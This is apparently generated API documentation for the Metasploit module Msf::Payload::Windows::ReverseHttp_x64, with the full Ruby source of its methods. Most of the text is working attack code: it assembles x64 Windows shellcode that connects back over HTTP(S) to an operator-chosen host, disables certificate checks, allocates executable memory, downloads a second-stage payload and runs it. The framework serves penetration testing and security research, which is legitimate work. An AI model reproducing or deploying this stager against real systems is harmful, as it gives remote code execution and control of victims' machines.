Module: Msf::Payload::Windows::ReverseHttp_x64

Includes:
TransportConfig, UUID::Options, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64
Included in:
ReverseHttps_x64, ReverseWinHttp_x64
Defined in:
lib/msf/core/payload/windows/x64/reverse_http_x64.rb

Overview

Complex payload generation for Windows ARCH_X86 that speak HTTP(S)

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Instance Method Details

#asm_generate_ascii_array(str) ⇒ Object

Convert a string into a NULL-terminated ASCII byte array



157
158
159
160
161
162
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 157

def asm_generate_ascii_array(str)
  (str.to_s + "\x00").
    unpack("C*").
    map{ |c| "0x%.2x" % c }.
    join(",")
end

#asm_reverse_http(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :ssl (Bool)

    Whether or not to enable SSL

  • :url (String)

    The URI to request during staging

  • :host (String)

    The host to connect to

  • :port (Integer)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :proxy_host (String)

    The optional proxy server host to use

  • :proxy_port (Integer)

    The optional proxy server port to use

  • :proxy_type (String)

    The optional proxy server type, one of HTTP or SOCKS

  • :proxy_user (String)

    The optional proxy server username

  • :proxy_pass (String)

    The optional proxy server password

  • :custom_headers (String)

    The optional collection of custom headers for the payload.

  • :retry_count (Integer)

    The number of times to retry a failed request before giving up

  • :retry_wait (Integer)

    The seconds to wait before retry a new request



181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 181

def asm_reverse_http(opts={})

  retry_count   = opts[:retry_count].to_i
  retry_wait   = opts[:retry_wait].to_i * 1000
  proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
  proxy_info    = ""

  if proxy_enabled
    if opts[:proxy_type].to_s.downcase == "socks"
      proxy_info << "socks="
    else
      proxy_info << "http://"
    end

    proxy_info << opts[:proxy_host].to_s
    if opts[:proxy_port].to_i > 0
      proxy_info << ":#{opts[:proxy_port]}"
    end
  end

  proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
  proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]

  custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])

  http_open_flags = 0
  set_option_flags = 0

  if opts[:ssl]
    http_open_flags = (
      0x80000000 | # INTERNET_FLAG_RELOAD
      0x04000000 | # INTERNET_NO_CACHE_WRITE
      0x00800000 | # INTERNET_FLAG_SECURE
      0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
      0x00080000 | # INTERNET_FLAG_NO_COOKIES
      0x00001000 | # INTERNET_FLAG_IGNORE_CERT_CN_INVALID
      0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
      0x00000200 ) # INTERNET_FLAG_NO_UI

    set_option_flags = (
      0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
      0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
      0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
      0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
      0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
  else
    http_open_flags = (
      0x80000000 | # INTERNET_FLAG_RELOAD
      0x04000000 | # INTERNET_NO_CACHE_WRITE
      0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
      0x00080000 | # INTERNET_FLAG_NO_COOKIES
      0x00000200 ) # INTERNET_FLAG_NO_UI
  end

  asm = %Q^
      xor rbx, rbx
    load_wininet:
      push rbx                      ; stack alignment
      mov r14, 'wininet'
      push r14                      ; Push 'wininet',0 onto the stack
      mov rcx, rsp                  ; lpFileName (stackpointer)
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call rbp

    internetopen:
      push rbx                      ; stack alignment
      push rbx                      ; NULL pointer
      mov rcx, rsp                  ; lpszAgent ("")
  ^

  if proxy_enabled
    asm << %Q^
      push 3
      pop rdx                       ; dwAccessType (3=INTERNET_OPEN_TYPE_PROXY)
      call load_proxy_name
      db "#{proxy_info}",0x0        ; proxy information
    load_proxy_name:
      pop r8                        ; lpszProxyName (stack pointer)
    ^
  else
    asm << %Q^
      push rbx
      pop rdx                       ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
      xor r8, r8                    ; lpszProxyName (NULL)
    ^
  end

  asm << %Q^
      xor r9, r9                    ; lpszProxyBypass (NULL)
      push rbx                      ; stack alignment
      push rbx                      ; dwFlags (0)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
      call rbp

      call load_server_host
      db "#{opts[:host]}",0x0
    load_server_host:
      pop rdx                       ; lpszServerName
      mov rcx, rax                  ; hInternet
      mov r8, #{opts[:port]}        ; nServerPort
      xor r9, r9                    ; lpszUsername (NULL)
      push rbx                      ; dwContent (0)
      push rbx                      ; dwFlags (0)
      push 3                        ; dwService (3=INTERNET_SERVICE_HTTP)
      push rbx                      ; lpszPassword (NULL)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
      call rbp
  ^

  if proxy_enabled && (proxy_user || proxy_pass)
    asm << %Q^
      mov rsi, rax                  ; Store hConnection in rsi
    ^

    if proxy_user
      asm << %Q^
      call load_proxy_user          ; puts proxy_user pointer on stack
      db "#{proxy_user}", 0x00
    load_proxy_user:
      pop r8                        ; lpBuffer (stack pointer)
      mov rcx, rsi                  ; hConnection (connection handle)
      push 43                       ; (43=INTERNET_OPTION_PROXY_USERNAME)
      pop rdx
      push #{proxy_user.length}     ; dwBufferLength (proxy_user length)
      pop r9
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
      call rbp
      ^
    end

    if proxy_pass
      asm << %Q^
      call load_proxy_pass          ; puts proxy_pass pointer on stack
      db "#{proxy_pass}", 0x00
    load_proxy_pass:
      pop r8                        ; lpBuffer (stack pointer)
      mov rcx, rsi                  ; hConnection (connection handle)
      push 44                       ; (43=INTERNET_OPTION_PROXY_PASSWORD)
      pop rdx
      push #{proxy_pass.length}     ; dwBufferLength (proxy_pass length)
      pop r9
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
      call rbp
      ^
    end

    asm << %Q^
      mov rax, rsi                  ; Restore hConnection in rax
    ^
  end

  asm << %Q^
      call httpopenrequest
      db "#{opts[:url]}",0x0
    httpopenrequest:
      mov rcx, rax                  ; hConnect
      push rbx
      pop rdx                       ; lpszVerb (NULL=GET)
      pop r8                        ; lpszObjectName (URI)
      xor r9, r9                    ; lpszVersion (NULL)
      push rbx                      ; dwContext (0)
      mov rax, #{"0x%.8x" % http_open_flags}  ; dwFlags
      push rax
      push rbx                      ; lplpszAcceptType (NULL)
      push rbx                      ; lpszReferer (NULL)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
      call rbp

    prepare:
      mov rsi, rax
  ^

  if retry_count > 0
    asm << %Q^
      push #{retry_count}
      pop rdi
    ^
  end

  asm << %Q^
    retryrequest:
  ^

  if opts[:ssl]
    asm << %Q^
    internetsetoption:
      mov rcx, rsi                  ; hInternet (request handle)
      push 31
      pop rdx                       ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
      push rdx                      ; stack alignment
      push #{"0x%.8x" % set_option_flags}  ; flags
      mov r8, rsp                   ; lpBuffer (pointer to flags)
      push 4
      pop r9                        ; dwBufferLength (4 = size of flags)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
      call rbp

      xor r8, r8                    ; dwHeadersLen (0)
    ^
  end

  if custom_headers
    asm << %Q^
      call get_req_headers          ; lpszHeaders (pointer to the custom headers)
      db #{custom_headers}
    get_req_headers:
      pop rdx                       ; lpszHeaders
      dec r8                        ; dwHeadersLength (assume NULL terminated)
    ^
  else
    asm << %Q^
      push rbx
      pop rdx                       ; lpszHeaders (NULL)
    ^
  end


  asm << %Q^
      mov rcx, rsi                  ; hRequest (request handle)
      xor r9, r9                    ; lpszVersion (NULL)
      xor r9, r9                    ; lpszVersion (NULL)
      push rbx                      ; stack alignment
      push rbx                      ; dwOptionalLength (0)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
      call rbp
      test eax, eax
      jnz allocate_memory

    set_wait:
      mov rcx, #{retry_wait}        ; dwMilliseconds
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
      call rbp                      ; Sleep( dwMilliseconds );
  ^


  if retry_count > 0
    asm << %Q^
    try_it_again:
      dec rdi
      jz failure
      jmp retryrequest
    ^
  else
    asm << %Q^
      jmp retryrequest
      ; retry forever
    ^
  end

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      ; hard-coded to ExitProcess(whatever) for size
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
      call rbp              ; ExitProcess(whatever)
    ^
  end

  # our other recent stagers like reverse_tcp read in the size of the incoming
  # stage.  We don't know why the http stager still just allocs 4MB and yeets
  # the stage into it, but we should be allocating what we need, not what we guess we need
  # these changes are to support the custom payload type, but in the future, we should
  # change the reverse_http stagers to read in the size and allocate what it needs.
  # as a breaking change, it will need to wait for the next major release.
  #
  if defined?(read_stage_size?) && read_stage_size?
    asm << %Q^
    allocate_memory:
      ; read incoming stage size
      push rbx                      ; buffer for stage size
      mov rdx, rsp                  ; lpBuffer (pointer to mem)
      push rbx                      ; buffer for bytesRead
      mov r9, rsp                   ; lpdwNumberOfBytesRead (stack pointer)
      push 4
      pop r8                        ; dwNumberOfBytesToRead (4 bytes)
      mov rcx, rsi                  ; hFile (request handle)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
      call rbp
      test eax, eax                 ; did the download fail?
      jz failure
      add rsp, 40                   ; remove 32 bytes of home space and 8 bytes of bytesRead
      ; allocate memory for stage
      push rbx
      pop rcx                       ; lpAddress (NULL)
      pop rdx                       ; incoming stage size (Used in InternetReadFile)
      mov rbx, rdx                  ; save off stage size (rdx is volatile)
      push 0x40
      pop r9                        ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
      mov r8, 0x1000                ; flAllocationType (0x1000=MEM_COMMIT)
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp
      ;download stage
    download_prep:
      xchg rax, rbx                 ; store the allocated base in rbx
      push rbx                      ; store allocated memory address for later ret
      push rbx                      ; temp storage for byte count
      mov rdi, rsp                  ; rdi is the &bytesRead
      mov rcx, rsi                  ; hFile (request handle)
      mov r8, rax                   ; dwNumberOfBytesToRead (incoming stage size)
      mov rdx, rbx                  ; lpBuffer (pointer to mem)
      mov r9, rdi                   ; lpdwNumberOfByteRead (stack pointer)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
      call rbp
      add rsp, 32                   ; clean up reserved space
      test eax, eax                 ; did the download fail?
      jz failure
      pop rax                       ; clear up reserved space
  ^

  else
  asm << %Q^
    allocate_memory:
      push rbx
      pop rcx                       ; lpAddress (NULL)
      push 0x40
      pop rdx
      mov r9, rdx                   ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
      shl edx, 16                   ; dwSize
      mov r8, 0x1000                ; flAllocationType (0x1000=MEM_COMMIT)
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp

    download_prep:
      xchg rax, rbx                 ; store the allocated base in rbx
      push rbx                      ; store a copy for later
      push rbx                      ; temp storage for byte count
      mov rdi, rsp                  ; rdi is the &bytesRead

    download_more:
      mov rcx, rsi                  ; hFile (request handle)
      mov rdx, rbx                  ; lpBuffer (pointer to mem)
      mov r8, 8192                  ; dwNumberOfBytesToRead (8k)
      mov r9, rdi                   ; lpdwNumberOfByteRead (stack pointer)
      mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
      call rbp
      add rsp, 32                   ; clean up reserved space

      test eax, eax                 ; did the download fail?
      jz failure

      mov ax, word ptr [rdi]        ; extract the read byte count
      add rbx, rax                  ; buffer += bytes read

      test eax, eax                 ; are we done?
      jnz download_more             ; keep going
      pop rax                       ; clear up reserved space

  ^
  end

  asm << %Q^
    execute_stage:
      ret                           ; return to the stored stage address
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(opts = {}) ⇒ Object

Generate the first stage



39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 39

def generate(opts={})
  ds = opts[:datastore] || datastore

  conf = {
    ssl:         opts[:ssl] || false,
    host:        ds['LHOST'] || '127.127.127.127',
    port:        ds['LPORT'],
    retry_count: ds['StagerRetryCount'],
    retry_wait:  ds['StagerRetryWait']
  }

  # add extended options if we do have enough space
  if self.available_space.nil? || (cached_size && required_space <= self.available_space)
    conf[:url]        = luri + generate_uri(opts)
    conf[:exitfunk]   = ds['EXITFUNC']
    conf[:ua]         = ds['HttpUserAgent']
    conf[:proxy_host] = ds['HttpProxyHost']
    conf[:proxy_port] = ds['HttpProxyPort']
    conf[:proxy_user] = ds['HttpProxyUser']
    conf[:proxy_pass] = ds['HttpProxyPass']
    conf[:proxy_type] = ds['HttpProxyType']
    conf[:custom_headers] = get_custom_headers(ds)
   else
    # Otherwise default to small URIs
    conf[:url]        = luri + generate_small_uri
  end

  generate_reverse_http(conf)
end

#generate_reverse_http(opts = {}) ⇒ Object

Generate and compile the stager



88
89
90
91
92
93
94
95
96
97
98
99
100
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 88

def generate_reverse_http(opts={})
  combined_asm = %Q^
    cld                 ; Clear the direction flag.
    and rsp, ~0xf       ; Ensure RSP is 16 byte aligned
    call start          ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp           ; rbp now contains the block API pointer
    #{asm_reverse_http(opts)}
  ^

  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#generate_small_uriObject

Generate the URI for the initial stager



124
125
126
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 124

def generate_small_uri
  generate_uri_uuid_mode(:init_native, 30)
end

#generate_uri(opts = {}) ⇒ Object

Generate the URI for the initial stager



105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 105

def generate_uri(opts={})
  ds = opts[:datastore] || datastore
  uri_req_len = ds['StagerURILength'].to_i

  # Choose a random URI length between 30 and 255 bytes
  if uri_req_len == 0
    uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
  end

  if uri_req_len < 5
    raise ArgumentError, "Minimum StagerURILength is 5"
  end

  generate_uri_uuid_mode(:init_native, uri_req_len)
end

#get_custom_headers(ds) ⇒ Object

Generate the custom headers string



72
73
74
75
76
77
78
79
80
81
82
83
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 72

def get_custom_headers(ds)
  headers = ""
  headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
  headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
  headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']

  if headers.length > 0
    headers
  else
    nil
  end
end

#initialize(*args) ⇒ Object

Register reverse_http specific options



22
23
24
25
26
27
28
29
30
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 22

def initialize(*args)
  super
  register_advanced_options(
    [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
    Msf::Opt::stager_retry_options +
    Msf::Opt::http_header_options +
    Msf::Opt::http_proxy_options
  )
end

#required_spaceObject

Determine the maximum amount of space required for the features requested



131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 131

def required_space
  # Start with our cached default generated size
  space = cached_size

  # Add 100 bytes for the encoder to have some room
  space += 100

  # Make room for the maximum possible URL length
  space += 256

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # Proxy options?
  space += 200

  # Custom headers? Ugh, impossible to tell
  space += 512

  # The final estimated size
  space
end

#stage_over_connection?Boolean

Do not transmit the stage over the connection. We handle this via HTTPS

Returns:

  • (Boolean)


551
552
553
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 551

def stage_over_connection?
  false
end

#transport_config(opts = {}) ⇒ Object



32
33
34
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 32

def transport_config(opts={})
  transport_config_reverse_http(opts)
end

#wfs_delayObject

Always wait at least 20 seconds for this payload (due to staging delays)



558
559
560
# File 'lib/msf/core/payload/windows/x64/reverse_http_x64.rb', line 558

def wfs_delay
  20
end